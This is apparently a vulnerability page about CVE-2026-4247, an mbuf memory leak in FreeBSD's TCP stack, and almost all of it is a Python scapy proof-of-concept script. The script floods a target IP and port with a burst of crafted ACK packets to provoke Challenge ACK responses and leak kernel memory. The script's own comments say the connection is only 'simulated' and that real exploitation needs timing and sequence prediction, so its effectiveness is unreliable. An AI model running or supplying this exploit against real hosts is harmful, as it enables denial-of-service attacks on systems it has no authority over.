CVE-2026-4247 FreeBSD TCP mbuf内存泄露漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-4247 (FreeBSD TCP mbuf leak) # This script sends crafted TCP packets to potentially trigger the mbuf leak. # Usage: python3 poc.py <target_ip> <target_port> import sys from scapy.all import IP, TCP, send, RandShort def trigger_mbuf_leak(target_ip, target_port): print(f"[*] Sending packets to {target_ip}:{target_port} ...") # Establish a connection first (simulated) # Here we assume a port is open or we are on-path. # We send a burst of packets with old sequence numbers to trigger Challenge ACK logic. src_port = RandShort() # Craft a packet with a sequence number likely out of window to provoke Challenge ACK # Note: Actual exploitation requires specific timing and sequence prediction. pkt = IP(dst=target_ip)/TCP(sport=src_port, dport=target_port, flags="A", seq=1000, ack=1000) # Send a burst to exceed rate limit (default 5/sec) for i in range(100): send(pkt, verbose=0) # Optional: slight delay to avoid immediate network blocking, but fast enough for burst print("[+] Attack packet burst sent.") print("[!] Monitor target memory usage (mbuf usage) for signs of leak.") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <target_ip> <target_port>") sys.exit(1) trigger_mbuf_leak(sys.argv[1], int(sys.argv[2]))